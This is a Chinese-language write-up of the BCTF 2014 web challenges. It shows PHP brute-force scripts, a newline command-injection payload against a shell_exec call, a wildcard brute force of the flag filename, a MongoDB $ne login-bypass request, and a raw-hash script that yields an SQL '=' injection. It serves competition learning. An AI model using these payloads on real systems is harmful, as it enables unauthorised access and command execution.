2014 年 bctf 的 web 的 writeup
http://bctf.cn/
题目还是很有难度的，有的题目耗了很久才写出来
还有他们有一种精神 hack harder 很赞 很值得学习
Ox01 web100 分分钟而已

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php
点击后发现跳转

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=07b5511fb9e036990211eff978b1ee16
分别解一下 md5
H.shao
e958c26cb69fb763faeb2849076d78f4
H.shao478

Lamos
07b5511fb9e036990211eff978b1ee16
Lamos508

Angelia
20e8c6b8771ed6f565e6c251b319519a
Angelia689

Ray
8d44a8f03ab5f71ce78ae14509a03453
Ray300
发现都是用户名+3 位数字的组合
提示是要使用 Alice 登陆 那么我们本地生成 md5(Alice+3 位数) 的一个字典
然后拿去 burp 爆破发现了
也可以写一个 php 来爆破一下

```
01 <?php
02 $s = 'Alice';
03 for($i=0; $i<9; $i++)
04 {
05         for($j=0; $j<9; $j++)
06         {
07                 for($k=0; $k<9; $k++)
08                 {
```

```
09                          $num = $i.$j.$k;
10                          $id = $s.$num;
11                          echo $id."\n";
12                          url($id);
13                  }
14          }
15 }
16 function url($id){
17          $id2 = md5($id);
18          $url = "http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id={$id2}";
19          $ch = curl_init();
20                  curl_setopt($ch,CURLOPT_HEADER,0);
21                  curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
22                  curl_setopt($ch,CURLOPT_URL,$url);
23          $output = curl_exec($ch);
24                  curl_close($ch);
25                  if(!preg_match('/Who\sare\syou\s?/',$output))
26                  {
27                          echo $id."\n".$url;
28                          exit(0);
29                  }
30 }
31 ?>
```

Alice478 是有不同 response 的
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=d482f2fc6b29a4605472369baf8b3c47
尝试访问一下
页面上有这个信息
Information:d4b2758da0205c1e0aa9512cd188002a.php
然后访问这个页面
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php

发现一个 bt5 的页面

查看一下源码
<!-- $_POST['key=OUR MOTTO'] -->
有这个提示
猜测 是 bt5 的 motto
The quieter you become, the more you are able to hear
多次尝试 后发现 要全部小写加上去除","时才可以
发现 POST 提交 key=the quieter you become the more you are able to hear
会跳转到百度
使用 burp 抓取中间的跳转页面

在页面的发现了 flag-in-config.php.bak

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/flag-in-config.php.bak
下载下来 发现是个坑

发现并不是 key
文件的名称是一个提示
flag-in-config.php.bak
就是要去下载 flag 是在 config.php.bak 里面
下载 config.php.bak
发现了 jsfuck 是一种 js 的另类编码 只用 6 个字符就可以表示 javascript 脚本
我们使用 firebug 控制台就可以出现 flag

BCTF{fuck_the_guys_who_are_exchanging_fl4g_you_are_destroying_this_game}

Ox02 web200 真假难辨

http://218.2.197.238:8081/76446cb94ef19b1d49c3834a384938d1/web200/
有个 url
访问发现是一个游戏 要求本机运行

burp 抓包分析一下数据
发现 向 auth.php 页面 POST 提交了 ip=本机的 ip
这里既然说要 host computer 本机访问
那么尝试 localhost 127.0.0.1 等特殊的 ip

发现了一个验证 尝试后发现
Text to send if user hits Cancel button
随便输入一个账号密码之后 要点取消 就能进去了 后来好像修改了 必须要是使用 Alice 才能登陆
但是输入 Alice 就会出现 Login error(Username or Password is wrong)
发包头上有个基础认证 Authorization: Basic QWxpY2U6YWFhYWFh
是 username:password 去 base64 编码的
使用别的用户名 admin:admin 当时我们就可以登陆到游戏

这个游戏是用 javascript 实现的 查看 js
发现与 key 相关的 js 源码 读读看

```
01 function(duration){
0      if(cnGame.collision.col_Between_Rects(this.player.getRect(),thi
2  s.end.getRect())){
03          if(this.deadghost == 10){
04              this.key = authnum(this.key, this.deadghost);
05              alert("The Key is:" + this.key);
06          }
07          else{
08              alert("once again!");
09          }
10      cnGame.loop.end();
11      return;
12 }
```

发现了是 需要打死 10 只怪 才能弹出 key 游戏中不修改最多是有 10 只怪
javascript 的调试 可以使用火狐下的 firebug 来完成
尝试修改生命 和 射速 移动速度等等后 可以通关 开启外挂吧骚年们
agent1.js 下的 gameObj 下的 key 的初始化相关的代码

```
1 this.key = ""
2 ...
3 this.key += newGhost.gh;
4 ...
5 this.key += "%"+this.player.pe;
6 ...
```

得到 key 34079%-935089127765bcdgjnmzwi|abcdefabcd
发现出错了

仔细看 js 源码 与 key 相关的东西 key 初始化 34079%2500
会而后移动速度和另一些参数有关 所以不能修改那些参数
发现
The Key is:BCTF{34079%2500bcdgjnmzwi|abcdefabcd}
发现还是出错了
最后我们还是直接使用 firebug 控制台调试 authnum(this.key) 控制 key 的输出 最后得到了
BCTF{34079%2500|abcdefabcd}

Ox03 web300 见缝插针

http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/

链接打开后
查看源码
<!--<form class="form-signin" action="test.php.bak">-->
发现了一句调试时的语句 尝试访问

```
01 <!--?php
02 #$key = $_GET['key'];
03 #$room = $_GET['room'];
04 #
05 #if(strlen($key) != 15)
06 #{
07 #     echo "The Key is Error\n";
08 #     exit(1);
09 #}
10 #if(strlen($room) --> 15)
11 #{
12 #     echo "The room num is too long\n";
13 #     exit(1);
14 #}
15 #
16 #$regex = "/[\w]{0,4}.[\W\d]{0,4}[A-F]{2}[\W\d]{2}[\d]{0,4}/i";
17 #
18 #$substitution = array(
19 #     '&' => '',
20 #     '`' => '',
```

```
21 #     ......
22 #);
23 #
24 #if(preg_match($regex, $key))
25 #{
26 #     if($key <= 40)
27 #     {
28 #             $room = str_replace(array_keys($sbustitution), $substitution, $room);
29 #             shell_exec('./room', $room);
30 #     }
31 #}
32 #
33 #echo "The key is Error\n";
34 ?>
```

代码审计之后发现有一个命令执行的漏洞 可以绕过检查执行 shell_exec('./room', $room);
我们需要去使用 key=可以匹配正则表达式的字符串
这里是正则表达式的一些简单介绍：

```
01 \w:匹配字母数字和下划线
02 \W: 除[a-zA-Z0-9]之外的任何字符匹配任何非单词字符
03 \d:代表 0-9
04 .:匹配任意字符
05 {min?max}:区间量词，至少需要 min 次，至多容许 max 次
06 a{3}:匹配准确的三个 a
07 [A-F]:匹配 A 到 F 构成的区间
08 i 参数:忽略大小写
09
10 /[\w]{0,4}.[\W\d]{0,4}[A-F]{2}[\W\d]{2}[\d]{0,4}/i
11 abcd1234AA11111
12 abc 匹配[\w]{0,4}
13 d 匹配到.
14 1234 匹配[\W\d]{0,4}
15 AA 匹配[A-F]{2}
```

16 11[\W\d]{2}

17 111 匹配[\d]{0,4}

然后再 room 中发现有过滤了一些字符"&"、"`"...等等 还有其他的一些 自己可以使用 burp 去 fuzz 一下 然后根据以前的经验 要尝试一个特殊的做题技巧
发现了%0A 后的内容可以绕过检查
2014 codegate web100:http://appleu0.sinaapp.com/?p=136
http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=abcd1234AA11111&room=1%0A%26ls
构建这个 url 可以执行 ls 的命令
在目录下面 查看到了有一个文件名为 BCTF{....}的文件 就是 flag 的内容(忘记记录 flag 了 后来题改了一下 flag 就不一样了 T T)

后来 经过协商之后奖励了 130 分后 题被修改过了 过滤了"\r"、"\n"
没有了特殊的绕过技巧 那么我们测试了很久都没办法
后来去测试 room 文件 多次测试后发现 如果是命令的回显一行以内一定会返回一个数据，超过一行就不会有数据返回了
总的来说就是返回一行和返回多行的 结果不一样
那么我们可以根据这个来匹配 flag。
根据之前已经是知道了 要用到 ls 命令 会有一个名为 BCTF{...}的 flag 在目录下
room 的长度限制在 15 位以下 那么我们可以尝试去构造匹配
http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=abcd1234AA11111&room=$(ls BCTF{*)
*BCT{*一位一位向右爆破 一次爆破一位 然后通配符也跟着移动
最后爆破出来
BCTF{Yooooo_4_God_sake_aay_is_so_C00l}
后来题目又改了 有把"$"给过滤了 果然上一个方法还不是出题人的真正的思路吗 真是蛋疼的题目

Ox04 web400 冰山一角
死猫 这题做得我好幽怨 和你聊了一天啊 我再也不想做你出的题了 你个坑神 t t 知道真相的我 眼泪掉下来

http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/index.php
访问这个页面 并没有发现什么 登陆也尝试一些' or 1#绕过也没尝试出来

可以通过端口扫描器 nmap 去扫描
发现 27017 28017 端口开放 显示是 mongodb 的后台
mongodb 的后台有一个不用权限验证就可以去登陆的漏洞
在上面也没发现什么有价值的东西
后来到了中午就被关闭了 发现也不是这个方向的
但是发现了它的数据库是使用的 mongodb 的
mongodb 的数据库也是要使用特殊的注入技巧 赶紧学习一下

后来给出的提示也给出了要 sqli sqli sqli 无尽的注入嘛
那么我们尝试一些 mongodb 的万能密码之类的东西
相关的参考在这里:
http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/
直接用$ne 这个类似于常见的万用密码
然后是 POST 包的内容 发一个这样子的包 参数 user 和 pwd 要在后面跟上[$ne]
然后就会看到一个特殊的页面

```
01 POST /0cf813c68c3af2ea51f3e8e1b8ca1141/index.php HTTP/1.1
02 Host: 218.2.197.240:1337
03 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0)
   Gecko/20100101 Firefox/27.0
04 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
05 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
06 Accept-Encoding: gzip, deflate
07 Referer:
   http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/index.p
   hp
08 Connection: keep-alive
09 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 31
11
12 user[$ne]=aaa&pwd[$ne]=aaaa&Submit=Submit
```

造成了注入 查看一下 response 包中的 tips

http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/you_guys_fxxking_smart.php
http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/you_guys_fxxking_smart.jpg
发现了一个源码 隐藏了一部分(隐藏了 salt 和 hash_method)以及一个可以 post 的页面
还有一些提示
<meta name="author" content="bob">
<title>I love the first letter of my name.</title>
那么猜测 salt 就是 b 后来也给出来 盐在头中 是在 head 中的
之前比较纠结 因为他说的最爱名字的第一个 letter 我还去猜测 有之前的 index 页面的 author:ADOG A 开头的 还有死猫的 id:DeAdCaT 的 D

在不能确定的情况下就很纠结了 两个未知相乘 生成hash的速度也比较慢 只能慢慢本地去生成 尝试
这一步是和以前的题重复了 2013 的 codegate web100 的题目
http://h34dump.com/2013/03/yut-codegate-2013-web100/
http://www.blue-lotus.net/codegate2013-web100-writeup/

可以尝试 hash 使计算出的 hash 值中有'=' 在 sql 查询时就造成了 'xxxxxx'='yyyyyyy'
就是在 php 中 (int)xxxx=0 即一个字符串的 int 会等于 0 的 如果可以造成截断 0=0 逻辑是会成立的
也就可以绕过了登陆的验证
本地穷举 hash_method salt='b'
也可以写个 php 脚本来自动化实现这些步骤

```
01 <?php
02 $conts = file_get_contents($argv[1]);
03 $arrConts = explode("\n", $conts);
04 $arrConts = str_replace(" ", "",$arrConts);
05 $arrConts = str_replace("\r", "",$arrConts);
06 $arrConts = str_replace("\n", "", $arrConts);
07 for($i=0; isset($arrConts[$i]); $i++){
08         $v_code = 'cws2cwyqyt';//填验证码
09         $cookie = 'PHPSESSID=v9qjkvkr1cd0usn90qa4r7n187';//填入 cookie
10         hash_check($arrConts[$i], $cookie, $v_code);
11 }
12 function hash_check($hash_method, $cookie, $v_code){//爆破并验证 hash 方法以及 password
13         for($i=97; $i<123; $i++){
14                 for($j=97; $j<123; $j++){
15                         for($k=97; $k<123; $k++){
16                                 for($n=97; $n<123; $n++){
17                                         for($m=97; $m<123; $m++){
18                                                 $str = chr($i).chr($j).chr($k).chr($n).chr($m);
19                                                 $str1 = $str.'b';
20                                                 $str1 = hash("$hash_method", $str1, true);
```

```
                                                    if(preg_match('/(\'=\')/', $str1))//爆破出含有'='的 hash 输出
                                                    {
                                                            echo $hash_method."\n";
                                                            url($str, $hash_method, $cookie, $v_code);//对结果进行验证
                                                            return;
                                                    }
                                            }
                                    }
                            }
                    }
}

function url($str,$hash_method,$cookie,$v_code){//模拟访问，并验证 password 是否正确
            $url = 'http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/you_guys_fxxking_smart.php';
            $curlPost = "password={$str}&10_letters_code={$v_code}&Submit=Submit";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
                    curl_setopt($ch, CURLOPT_POST, 1);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
                    curl_setopt($ch, CURLOPT_URL, $url);
                    $output = curl_exec($ch);
                    curl_close($ch);
                    if(!preg_match('/Xiao\sdiao\ssi!/', $output))//根据匹配失败的关键字，来判断 password 是否正确
                    {
                            echo $hash_method.':'.$str;
```

```
49                          exit(0);
50                  }
51 }
52 ?>
```

穷举出来的结果是 hash_method="SHA512"; salt='b';
得到了 password=aljti
其实我们做到这一步的时候已经是 11 点多了 而死猫说到了 12 点就要放出提示 如果可以赶在 12 点之前做出来的话 他就不会给出提示了 那对于我们就有很大的优势了
然后 使用这个密码去登陆
发现在网页的注释里有多出来的信息

使用 burp 抓取获得的数据 一段是 128 位
99 D5 03 45 15 6D 3C 29 2C 8A 94 1E 79 3C 91 FF 2D 35 3E D2 2E 45 25 0B 5D C0 24 C5 86 E5 B8 3F 48 BD A2 3D FD 39 1B A4 AE D7 86 B5 C3 C7 33 60 97 45 39 71 64 19 23 FF F1 93 C4 33 CF 7F F9 1A
E8 8B A6 3D 6D CF 00 D8 0B 80 8F FD 21 F7 4F D3 C3 08 8B 1B 02 F0 01 ED C0 DB 76 FA F2 1A 31 7F 9C 00 D6 29 1A 4E 56 1D ED 41 67 9F 5F 1A 85 C2 2B 89 4B 89 12 6F A4 2A 49 4D D2 5A E1 05 74 22
一开始去尝试使用 页面另存为 就出错了 有些字符会被截断 或者是浏览器给处理了 结果没出来 128 位 只有 120 位和 110+位两段数据 浪费了一些时间
使用 cmd5 破解
99D50345156D3C292C8A941E793C91FF2D353ED22E45250B5DC024C586E5B83F48BDA23DFD391BA4AED786B5C3C7336097453971641923FFF193C433CF7FF91A
E88BA63D6DCF00D80B808FFD21F74FD3C3088B1B02F001EDC0DB76FAF21A317F9C00D6291A4E561DED41679F5F1A85C22B894B89126FA42A494DD25AE1057422

收费的 装一把土豪
分别去破解连接得到 **b1u310tus** 这个就是 flag 了
最后还是赶在了 12 点之前做出来了 拿下了一血 真的是很开心

0x05 web500 花钱如流水
web500 呵呵了 说是有注入 不过应该是出现在后台的注入
根据他给出的提示 去查看帮助 说是要先拿到 200 的比特币
需要先获取 200 比特币成为土豪 才能看到后台的一些信息 才能发现注入点
我们只是发现了一个重复注册的漏洞 可以在注册时重复注册同一个邮箱 金币

会增长
但是也没有了其他的想法了 买不到太多的比特币 而且在本站也无法使用转账比特币的功能
这种题目 我们当时也是决定放弃 去看别的题目 坐等大牛出 writeup